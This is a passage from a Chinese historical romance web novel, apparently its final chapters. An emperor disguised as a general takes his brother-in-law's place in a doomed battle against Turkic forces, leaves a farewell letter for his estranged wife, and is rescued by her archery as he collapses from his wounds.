那名他安插在突厥军队里的暗探,身手和伪装都不是一般人能比的,潜伏在突厥十年,至今没人发觉。 谢敛不怀疑那名探子的忠诚,可却不能完全相信传递出来的消息。 谁知道是不是突厥人故意借探子之手传的真假参半的消息? 不行,他需要谨慎,不能让薛岐贸然前往,无风岭这一战,很可能会非死即伤。 “好了,就这么决定了,后日我带人前往无风岭,谢昀,你与他们守在这里,必要时让人前去接应我。” 主帅已经做了决定,其他人想要再说什么也不能。 果不其然,第二天午时,就有消息传来,突厥军队已经整装开始出发往江阴镇边界而来。 晚上,谢敛特意去找了薛弗玉。 此时的薛弗玉正在自己帐子里替薛岐缝补衣裳,见到出现门口的谢敛时,她有些意外。 “我有话要与你说。” 不等薛弗玉主动开口让他进来,他已经先一步进去了。 他抖掉身上雪花,扔了两根粗壮的柴进火炉中,让炉子里的火烧得更旺了些。 很快整个营帐比之前更加的暖和。 薛弗玉不明白这两个月来他们之间并没有什么交集,为何今晚他会突然来她这里。 她望了一眼外面,发现没什么人来往之后,心里松了口气。 谢敛将她的表情一错不错地看进了眼里。 被他这般静静地看着,薛弗玉突然有些不自然,她问:“你要说什么?” 谢敛在她旁边随意找了个地方坐下,看见她手中正在缝补的衣裳时,他的喉头动了动,最后道:“不日突厥大军就会靠近边界,我希望你可以跟着那些上不了战场的伤兵离开这里。” 即便是知道了她的答案,可他还是忍不住想要最后劝她离开。 “还有呢?”这一次,薛弗玉没有说直接拒绝他的话,不知为何,当他说完这句话的时候,她的心莫名一跳,心里有不好的预感突然生出。 谢敛诧异地看了他一眼,继续道:“这些日子我想了很多,当年要不是薛家和太后逼迫你,你或许会和宋璋成亲,却因为我生生拆散了你们,抱歉,还有以前的我的确是混账,不该那样对你。” 薛弗玉不知道他为何会在大战即将来临前与自己说这些,她看着他脸上还未愈合的新伤,心中蓦地冒出酸涩的感觉。 “当年的事情已经过去,这些都与你无关,是他们自作主张,你也是被骗的那个,不必与我道歉。”她道。 她与谢敛成亲,罪魁祸首确实是薛家人和太后,他也不过是被他们蒙蔽了。 其实在这一事上,她从来没有怨过他,甚至他最开始不愿意接纳她这个妻子的时候,她也没有因此而记恨,埋怨上他。 毕竟她与他都是受害者。 谢敛不愿意见她这样平静的对待自己,可他也明白,她如今对他既没有爱也没有恨。 就好像只是对待一个相识的普通人。 他此刻异常怀念从前能将眼前人拥入怀中的感觉。 看着坐在对面沉静的女子,他张了张嘴,最后只是低声道:“以后不会了。” 薛弗玉听着他短短的五个字,脸上出现一丝茫然,未来得及深想,门外就传来了卫缙的声音。 “薛姑娘,我白天在雪地里打了只野兔,今晚给你烤了兔子肉送来!” 卫缙端着盘子站在门边,话才说完就看看谢敛掀了帘子出来,他脸上露出惊诧:“谢将军?” 谢敛只对着他颔首,然后越过他离开,只是走了几步后又停下,看着卫缙掀开帘子进去,很快里面就传来薛弗玉与卫缙交谈的声音。 这声音比方才与他在一起时放松了不少,也温柔了不少。 谢敛看着印在营帐上的两道影子,沉默许久。 这样也好。 他在心里道。 天上不知何时飘起了雪花,雪渐渐下大了,冰凉的雪花落在他的脸上,半晌后他收回目光,踩着积雪回了自己的营帐。 “林季,如果我出了意外,务必把这封信交给她。”他唤来林季,把早已写好的信封交到了林季的手中。 林季沉默了一瞬,看了一眼手中的信道:“属下不明白,陛下为何想要替薛将军前去无风岭?” 话音落下,耳边只剩柴火燃烧的声响。 良久,只听见上首的男人似乎叹了一口气,然后缓缓道:“薛岐在她心里很重要,要是薛岐出了事,她一定会很难过。” 且这一战,无风岭无论是赢还是输,都没什么大的功劳,不如让薛岐正面与突厥主力交锋而赢来得的功劳更大,届时封侯也是名副其实。 所以他要代替薛岐去,玉姐姐不喜欢自己,他若是出事了,她应当是不会难过的。 他不想她再伤心难过,所以只能代替薛岐领兵前往无风岭。 “陛下——” 林季想要阻拦,话还没说出口就被谢敛给制止了。 “不必再说,我意已决。” 翌日,等薛岐醒来的时候,谢敛早已带着人前往无风岭。 得知这个消息的时候,薛岐气得恨不得跳起来骂他。 他都不知道谢敛用了什么办法,让那三千精兵跟着他前往无风岭的! “将军,事已至此,咱们还是赶紧做好与突厥主力正面交锋的准备。”赵长史道。 薛岐气得骂了几句糙话,最后只能认命。 等谢敛回来,他不管他是不是皇帝,就算是天王老子他也照应军法伺候! 然而无风岭这一战到底未能如愿。 第二天的时候,有急报传来,称带领突厥精锐想要横穿无风岭的并不是突厥主帅,而是突厥三王子。 且突厥三王子带的精兵不是消息上所说的几千人,而是足足有上万人! 其中还有近千名的弓箭手! 谢敛带的人再厉害,三千对上一万也没有多大的胜算。 更何况对面也不是泛泛之辈。 不过一天的时间就被困在了无风岭。 薛岐想要立即派人前往,前方又有急报传来,突厥主帅带着主力已经压境!—— 作者有话说:番外的话应该是会先写成亲那会在旧宫的日子[求你了]《 》 【正文完】 第74章 薛岐只能让刘四带人前往无风岭支援,而他则准备迎战突厥主力。 “谢将军是不是知道那支想要从无风岭而来的军队里,其实没有突厥主帅,所以才会代替将军前去的?” 赵长史突然问道。 薛岐沉着一张脸,没有回答他的问题,因为他也不知道。 这几个月与他相处下来,他发现自己对谢敛的态度有些改观 ,对方并不是如他所想的那样不堪,反而面对他各种冷嘲热讽时,也只是生生受着。 当年他借着助谢敛争储为条件,逼着对方立了毒誓,谢敛果真在这几年内除了阿姐之外连个女人也没碰过。 甚至如今知道他和阿姐在春猎的时候摆了他一道,也没有要怪罪他们姐弟二人的意思。 在军营里,也没有拿出高人一等的架子,反而与他的部下打成了一片。 或许这些年来,是他误会了对方? 如今谢敛身陷囹圄,他自然是不希望对方真的出事。 不过谢敛陷入危险的事情还是不能告诉阿姐,他就怕阿姐会心软。 即便是他对谢敛有所改观,但还是希望阿姐与谢敛分开。 然而就算是他不打算告诉薛弗玉,林季在知道谢敛有危险之后,也匆匆拿着信去寻了薛弗玉。 薛弗玉正在跟着楚莹辨认草药,彼时却突然听见帐子后面有人说话。 “我方才听到消息,说谢将军被困在了无风岭,三千精兵折损近两千,方才刘将军已经在点兵要前去无风岭支援谢将军了!” “听说原本要去无风岭的是薛帅,为何又变成了谢将军?” “这个我就不知道了,咱们还是赶紧前去与集合,突厥大军即将压境,薛帅要准备迎敌了!” 薛弗玉手中抓着的药材突然掉到地上,半晌,她蹲下慌乱地捡地上的药材。 楚莹忙蹲下和她一起拾起地上的药材,她担忧道:“我爹说敌军压境,咱们也差不多要撤回城中,薛姐姐,你还要继续留在这里吗?” 她是大夫,想要留在前线,她身为阿爹的女儿,自然也想要像阿爹一样将生死置之度外。 薛弗玉脑中一直回想着谢敛被围困在无风岭的事情,半晌之后,她摇头:“我要留在这里。” 阿弟在这里,她便在这里。 楚莹跟着点头:“薛姐姐不走,那我也不走!” 自从听到那些消息之后,薛弗玉这一天都心不在焉的,楚莹以为她是担心突厥军队会压过边界,她安慰道:“薛姐姐不用担心,有薛将军在,定然不会让突厥的军队越过咱们边境的!” 她其实并不是担心阿弟,而是担心 未等她回答,就看见有人掀开帘子进了她们所在的营帐。 见突然出现的林季,薛弗玉的眼中出现讶然。 “娘娘,属下有事要禀告!” 林季认识楚莹,自然清楚楚莹也知道薛弗玉的身份,索性开口直接唤她娘娘。 楚莹没想到这里会有人突然这样称呼薛弗玉,她以为对方是皇帝派来的人,趁着这个时候想要把薛弗玉给捉回去。 于是整个人将薛弗玉护在身后:“这里没有什么娘娘,你认错人了!” 薛弗玉看着挡在身前少女,明明很害怕,却依然坚定地护着自己,她的心间涌过暖意,抬手轻轻拍了拍她的肩膀,对着她道:“他不是坏人,别担心。” 楚莹看了一眼一身黑衣的男人,最后在对方的注视之下,才慢慢地挪开了。 林季曾见过这姑娘和薛岐在一处,想着大约是薛岐的朋友,也没有要为难对方的意思,对着她道:“我有重要的事与娘娘说,还请姑娘回避。” 楚莹眨了眨眼,又回头看了一眼薛弗玉,在后者点头下才不情不愿地离开。 等楚莹出去之后,林季立刻对着薛弗玉跪下,然后把信捧到薛弗玉的身前。 “陛下带兵前往无风岭的前一晚,曾将此信交给属下,说如果他出事,就让属下亲自把这封信交给娘娘。” 薛弗玉看着他手中的信,却没有伸手去接,只冷静道:“他会没事的。” 林季闻言抬头,却见她的眸中似有什么情绪划过,片刻后他道:“回禀娘娘,陛下在出发之前便知道无风岭一战甚为凶险,方才传来消息,陛下带着的精锐只剩下八百,而突厥三王子带的兵还有四千,陛下与八百精兵被他们围困。” 八百对四千,且还是战至力竭的八百,结果会如何可想而知。 “刘四不是已经带了人前去支援?” 薛弗玉往后退了一步,不愿意相信会是这样的结果。 林季道:“这里前往无风岭最快也需要两个时辰,等他们过去,说不定陛下他们都” 后面的话他没有说下去,也不忍说下去。 且那三王子认识陛下,指不定会怎么对待陛下。 薛弗玉只觉得传来一片眩晕,半晌,她伸出轻颤的指尖,终是从林季的手中拿过那封信拆开。 其实里面也没有写什么事,只与她说明了两件事,一是他已经把立昭昭为皇太女的诏书写好了,如果他死了,她便能够带着昭昭回京中,让刘均正式颁布诏书,昭昭顺理成章继承皇位,她就当个太后垂帘听政。 那时候没有人能管得了她,她在宫中想如何都行,还说她不用担心,有两位宰辅辅佐昭昭,又有手握兵权的舅舅,没人敢对昭昭置喙。 他已经替昭昭铺好了路,她不必担心。 二是她若是寂寞了,想要养个男宠也行,只是不要带着男宠出现在紫宸殿,不然他的鬼魂见了也会吃醋,他觉得卫缙这个人就挺不错,她要是喜欢的话,可以把人收了。 他说知道她不愿意呆在宫里,所以只求她等到昭昭及笄,能独自处理政事后,她想离开京城便离开。 最后的最后,他说他其实很早就开始喜欢她,很喜欢很喜欢。 问她可不可以不要讨厌他,能不能喜欢他,哪怕只是一点点他也心满意足。 薛弗玉看着这封绝笔书,心中突然冒起丝丝的酸涩。 她其实并不讨厌谢敛,她只是不喜欢他事事都替她打算好,从前在宫里就是这样,如今他知道自己或许不能活着回来了也还是这样。 可她不喜欢。 真的是让她很讨厌。 他怎么能这么讨厌呢,讨厌到如今让她再也生不起一点气来。 “娘娘?” 林季见她看着手上的信件久久沉默,最终抬眸看向她。 却见她眼尾泛着嫣红,眸中似有水雾。 他忙底下头不敢再看,突然觉得陛下说得不对,娘娘的心里还是有陛下的。 “我要去找他。” 薛弗玉回神,他的真实身份无人知晓,如果他真的死了,那么该由她这个妻子替他收尸。 她不想他死了都不能好好安葬。 林季却拦下了她:“娘娘,刘四半个时辰前已经带着人马出发,您这个时候去也追不上了,且您金枝玉体,哪里能上战场?” 薛弗玉此时哪里还顾得了那么多,她对着他道:“我曾经也跟我父帅学过骑马射箭,并不是你口中的弱女子,不管如何,我都想与他共进退!” 这是她自与他成亲以来的想法,从前没有机会,如今却是有了机会。 林季望进她那双坚定的眸子,最终没有继续劝说,而是问:“娘娘马术如何?” 薛弗玉道:“自是不差。” “也是,娘娘的父亲是薛老将军,他亲自教的自然是不会差的。”林季点头。 薛弗玉知道他松口了,她果断道:“时间紧急,现在就出发。” 林季皱眉道:“薛帅不一定会同意您前往。” 薛弗玉道:“我自己想做的事不用他人同意。” 就是阿弟也不能左右她的决定。 林季明白了,怪不得陛下会喜欢娘娘,娘娘这样外柔内刚的女子,换做是谁都会喜欢的。 不多时,林季让所有谢敛留下来保护薛弗玉的暗卫现身。 薛弗玉看见这十几名暗卫的时候,瞬间就明白了,谢敛真的一个暗卫都没有带在身边。 她抿了抿唇,最终没有说什么,翻身上马前往无风岭。 等薛岐发现的时候,她早已快追上刘四的部队了。 一路夹杂着风雪,薛弗玉匍匐在马背上,脸上蒙着布,露在外面的眼睛被风吹得生疼,可她的脑中却一直出现谢敛信上写的那些像是交代后事的话。 她自那次给他送药之后,两个月来从未去找过他,而他似乎知晓她不想见到他,也默契地没有前去打扰。 那晚他没忍住去了她的营帐见她,或许是因为他知晓是最后一次与她见面。 怪不得那晚他的目光总是时不时落在她的身上。 耳边是呼啸而过的风,薛弗玉只觉得眼泪都被风吹了出来。 最后终于在天黑之前他们一行人追上了刘四。 刘四看见坐在马背上,身后背着一把弓箭的薛弗玉,顿时着急道:“薛姑娘你怎么来了,哎呦要是让将军知道了有我好果子吃,我找几个人护送你回去,趁着天还没黑!” 薛弗玉直接拒绝了他,“不,我要去救我夫君!” 刘四在寒风中诧异道:“薛姑娘不是在开玩笑吗,将军不是说你夫君已经死了,这种时候就不要逗我玩了,战场上刀剑无眼,要是伤到了你我可不好跟将军交代啊!” 薛弗玉大声道:“我夫君没死,谢将军就是我夫君!” 刘四顿时惊得下巴都要掉了,他差点勒住身下的马,不可置信道:“你说什么?谢将军是你的夫君,姑娘别是唬我的,你们俩同在军营中,我可从没见过你们在一起过。” 薛弗玉却道:“这种时候我骗你做什么,我只是与他之间闹了点矛盾,才会互相不理睬!” 刘四原是没那么容易被她说服,然而看到护在她身边的那些人后,总算是相信了一半。 因为这些人身上的气质和他们那位谢将军相似。 想必着他们也是谢将军特意留在自家夫人身边的。 他开始不懂小夫妻之间的情*趣了。 “薛姑娘,我信你,但是等会打起来我可没空理你,你要是出了什么意外也别怪我头上。” “放心,我既然想要救我夫君,自然不会给你们添麻烦,你只管你们,不用管我。” 有了她的再三保证,刘四的心才算是放到了肚子里,他并不是什么迂腐之人,不会因为她是女子而轻视她,毕竟赵长史的妹妹赵凌也是身手厉害的姑娘。 刘四带着四千人与薛弗玉等人快速前往无风岭。 等到了无风岭,天已经完全黑了下来,他们在原地休整,又派出好几名士兵前去探查。 薛弗玉坐在临时升起的火堆前,即便是被火堆温暖着,但是她感觉自己的身子还是冷的,她的心中焦急,很想知道谢敛与剩下的八百精锐的消息。 半个多时辰后,终于有士兵带着消息回来。 “走!咱们去救谢将军!” 薛弗玉的心随着马蹄声纷乱地跳着,她的指尖紧紧攥着缰绳,蒙脸的布被风刮掉也不在意。 “谢将军他们就在前方三里外!” 刘四等人站在一处坡地上,顺着那士兵指的方向,果真看见远处有零星的火点。 越来越近的时候,发现几千的突厥士兵正在围攻他们。 谢敛被包围在最里面。 薛弗玉坐在马上只能看见最里面的那人身上插了几支羽箭,手中握着一柄长剑抵御着源源不断想要靠近他的突厥人。 “谁能砍下大周皇帝的首级,我重重有赏!” 穆然坐在马上,欣赏着被层层围困住的谢敛。 那天要不是谢敛带人追来,他也不会计划失败,更不会受伤掉下悬崖。 他那双鹰一般的眼睛紧紧锁着做困兽斗的男人。 然而不等他高兴太久,就听见远处传来气势汹汹,整齐划一地叫喊声,他一惊,抬头一看,只见远处星星点点的火把越来越近。 “援兵来了,没时间陪他们玩了,赶紧杀了他们!”穆然立刻下令。 薛弗玉与刘四等人骑马跑在前头。 被困在中间,身上十几道深浅不一的伤,已经快要力竭的谢敛也知道援军已经到来。 只是他也要撑不住了 眼看着一名突厥士兵举起手中的刀就要朝着他的面门砍来,他却抬不起手中的剑去抵挡。 千钧一发之际,一支利箭破开寒夜,钉在了突厥士兵的手上,接着又一支箭钉在他的胸口处。 穆然见此,下了马想要亲自了结了谢敛的性命,他想要找出对面射箭的人,然而却是徒劳,只能快步走向谢敛,对着他一刀劈下去。 谢敛在方才积攒了一点力气,堪堪挡住了他这一击,这也是他用尽了最后的力气的结果。 穆然同样也知道他已是强弩之末,眼前的人是大周皇帝,只要他杀了对方,父王知道了定会嘉奖他! 而大周的皇后,等他们突厥的铁蹄踏平大周后,也会是他的! 他的眼中露出疯狂,扬起刀就要朝着谢敛的脖颈劈去。 还没碰到他,只听见噗地一声,箭矢没入血肉的声音在耳边响起,接着又是两三声箭矢射中身体的声音。 他倒下的前一刻看向射箭的方向。 看见了他一直想要据为己有的女子,穿透他血肉的箭矢就是她射出的,女子稳坐在马上,双眸锐利,手上的弓还搭着三支发,看着像是要蓄势待发。 谢敛也跟着转头向射箭的人看去,对上她那双充满担忧的眸子。 他对着她动了动嘴唇,最终没能喊出来,吐出一口黑血,眼前一阵阵发黑。 不行,他想要告诉玉姐姐这里很危险。 最终还是没能说出口。 薛弗玉坐在马上,看着倒在雪地上的男人,心脏猛地一缩,接着像是被什么刺痛。 谢敛的身下淌着大滩的血,很快血与雪融为一体。 等薛弗玉赶到的时候,他的呼吸已经变得很浅。 看着他身上各种各样的伤口,她只觉得自己的呼吸也变得困难,脑中只剩一片空白,跌倒在他身前。 她跪坐在地上,伸出手颤抖地替他擦去脸上的血渍,语气带着轻颤:“阿敛,我来了” 指尖触碰道冰凉的肌肤,薛弗玉鼻尖一酸,忍着的眼泪终于还是掉了下去,她想要抱他,看着他身上的伤却又不敢轻易动他。 滚烫的眼泪滴在谢敛的脸上,他似有所感,努力想要睁开眼睛,睫毛颤动了几下,半晌之后,终于半睁开了眼睛。 “玉,姐姐不要哭” 他想要抬手替她擦去脸上的眼泪,然而却没有了任何的力气,就连说话也废了好大的功夫。 虽然有些不甘心,但是能够在死前看见她,已是上天对他的眷顾。 他还能再奢求什么呢? “阿敛!” 彻底失去意识前,他只听见身前女子哽咽地唤他。 这样也足够了。 他想—— 作者有话说:正文完结,评论区红包掉落《 》